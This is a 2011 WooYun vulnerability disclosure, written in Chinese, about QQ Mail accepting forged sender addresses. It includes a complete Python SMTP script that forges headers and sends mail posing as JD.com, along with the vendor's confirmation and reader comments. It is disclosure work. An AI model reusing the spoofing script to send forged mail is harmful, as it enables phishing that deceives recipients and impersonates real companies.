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缺陷编号:wooyun-2011-03388

漏洞标题:qq邮箱伪造发件地址,容易被钓鱼利用

相关厂商:腾讯

漏洞作者: icefish

提交时间:2011-11-22 21:07

修复时间:2011-12-22 21:08

公开时间:2011-12-22 21:08

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2011-11-22: 细节已通知厂商并且等待厂商处理中
2011-11-23: 厂商已经确认,细节仅向厂商公开
2011-12-03: 细节向核心白帽子及相关领域专家公开
2011-12-13: 细节向普通白帽子公开
2011-12-23: 细节向实习白帽子公开
2011-12-22: 细节向公众公开

简要描述:

qq邮箱对某些情况检查不严,逻辑上有所欠缺,容易被钓鱼等利用

详细说明:

qq邮箱对于smtp的检查存在问题,可以自己构建smtp服务器,直接给qq发邮件,其中自己可以伪造任何邮箱(service@qq.com好象不行,但是类似@qq.C0M)这种可以,特别是可以伪造知名企业,团购网站,电子商务网站等。
其中可以直接利用FastMail1.6(网上可以找到下载),做测试,漏洞就可以得到实现

#coding=utf-8
'''
Created on 2011-11-22
@author: Administrator
'''
# -*- coding: utf-8 -*-
#coding=utf-8
import socket
import select
import base64
import os,re
import time,datetime
class mail:
def __init__(self):
self.errmsg = ''

def send(self, buf):
try:
byteswritten = 0
while byteswritten < len(buf):
byteswritten += self.__sockfd.send(buf[byteswritten:])
except:
pass

def recvline(self, strline):
detect_fds = [self.__sockfd,]
rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20)
if len(rrdy) == 0:
return False
else:
while True:
try:
strtmp = self.__sockfd.recv(1)
strline[0] += strtmp[0]
if(strtmp[0] == '\n'):
print 'server : '+strline[0]
break
except:
return False
return True

def getresp(self, resp_str):
while True:
if(self.recvline(resp_str) == False):
return False
else:
if resp_str[0][3] != '-':
break;
return True

def mailhelo(self, hostname):
self.send('helo %s\r\n'%hostname)
print 'host say: helo %s'%hostname
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False

def mailfrom(self, fromstr):
self.send('mail from: <%s>\r\n'%fromstr)
print 'host say: mail from: <%s>'%fromstr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False

def mailto(self, tostr):
self.send('rcpt to: <%s>\r\n'%tostr)
print 'host say: rcpt to: <%s>'%tostr
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False

def maildata(self):
self.send('data\r\n')
print 'host say: data'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '354':
return True
else:
self.errmsg = resp_str[0]
return False

def mailbody(self, bodystr):
print 'host say: '+'Received: from ICE (unknown [183.60.62.11])\r\n'
print'host say: '+'.by 183.60.62.11 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n'
print'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n'
print'host say: '+'X-Originating-IP: [192.168.0.1]\r\n'
print'host say: '+'Date: Tue, 22 Nov 2011 16:18:06 +0800\r\n'
print'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>\r\n'
print'host say: '+'Subject:'+self.Subject+'?=\r\n'
print'host say: '+'To: <'+self.To+'>\r\n'
print'host say: '+'X-Priority: 1\r\n'
print'host say: '+'X-mailer: iceMail 1.0 [cn]\r\n'
print'host say: '+'Mime-Version: 1.0\r\n'
print'host say: '+'Content-Type: text/plain;\r\n'
print'host say: '+'.charset="GB2312"\r\n'
print'host say: '+'Content-Transfer-Encoding: quoted-printable\r\n\r\n'
print 'host say: '+bodystr

self.send('Received: from ICE (unknown [8.8.8.8])\r\n')
self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1\r\n')
self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'\r\n')
self.send('X-Originating-IP: [8.8.8.8]\r\n')
self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'\r\n')
self.send('From: '+self.FromName+ '<'+self.From+'>\r\n')
self.send('Subject: '+self.Subject+'\r\n')
self.send('To: <'+self.To+'>\r\n')
self.send('X-Priority: 1\r\n')
self.send('X-mailer: iceMail 1.0 [cn]\r\n')
self.send('Mime-Version: 1.0\r\n')
self.send('Content-Type: text/plain;\r\n')
self.send('.charset="GB2312"\r\n')
self.send('Content-Transfer-Encoding: quoted-printable\r\n\r\n')
self.send(bodystr)
self.send('\r\n.\r\n')
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '250':
return True
else:
self.errmsg = resp_str[0]
return False

def mailquit(self):
self.send('quit\r\n')
print 'host say: quit'
resp_str = ['',]
if(self.getresp(resp_str) == False):
return False
if resp_str[0][0:3] == '221':
print 'server : Bye'
print 'mail send ok'
return True
else:
self.errmsg = resp_str[0]
return False

def txmail(self, hostname, mailfrom, rcptto, bodystr):
mx_server_list = []
mail_postfix = re.split('@',rcptto)
#print mail_postfix
try:
outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read()
except Exception, e:
print 'DEBUG: Execute nslookup:',e
return False

linestr = re.split('\n', outstr)
for s in linestr:
if re.match('.+[ |\t]mail exchanger[ |\t].+', s) != None:
c = re.split(' |\t', s)
mx_server_list.append(c[len(c) - 1])
if len(mx_server_list) == 0:
self.errmsg = 'Can not find MX server'
return False

for mx_element in mx_server_list:
return_val = True
mx_server_ip = socket.gethostbyname(mx_element)
tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
try:
tx_sockfd.connect((mx_server_ip, 25))
self.__sockfd = tx_sockfd
resp_str = ['',]
self.getresp(resp_str)
if self.mailhelo(hostname) and self.mailfrom(mailfrom) \
and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit():
pass
else:
return_val = False
except Exception, e:
return_val = False
try:
tx_sockfd.close()
except:
pass

if return_val == True:
break

return return_val
def sendMail(self):
self.StmpHost=self.From.split("@")[1]
self.txmail(self.StmpHost, self.From, self.To, self.Data)

if __name__ == '__main__':
icemail=mail()
icemail.Port=25
icemail.To='11111@qq.com'
icemail.From='newsletter2@360buy.com'
icemail.FromName="京东网上商城 "
icemail.Subject="得力办公文具全场每满100减30元,买鼠标即可得鼠标垫!(AD)"
icemail.Data='我是假的'
icemail.sendMail()


这个是我拿python写的一个smtp的服务器简易实现,可以看出qq服务器是直接信任smtp服务器所告诉的一切信息

漏洞证明:


因为我做的测试太多了,导致了邮件被归类成了垃圾邮件,本身方法是没有问题的,开始的几份邮件都在收件箱中,而且明显可以看到自定义标签已经把他归类为shop类

修复方案:

在对google和163做类似测试的时候都失败了,google似乎检测了smtp的ip是否在列表中,163失败原因不详,但是估计也是做了修正,qq这个要快点修复啊。

版权声明:转载请注明来源 icefish@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2011-11-23 09:27

厂商回复:

非常感谢啊

最新状态:

暂无


漏洞评价:

评论

  1. 2011-12-23 08:31 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    @腾讯 这个bug和我这个不一样吗? WooYun: QQ邮箱验证机制不完善 他这个给12rank,,我的才给6rank,,为什么?

  2. 2011-12-23 21:28 | dndx ( 路人 | Rank:15 漏洞数:2 | 高中生)

    其实这漏洞没什么用,本来SMTP协议就是这样设计的,你给谁发送都能伪造。但是QQ验证了SPF,这就是你的邮件在“垃圾箱”中的原因,所以此漏洞无任何利用价值。除非你能直接把邮件搞到收件箱里。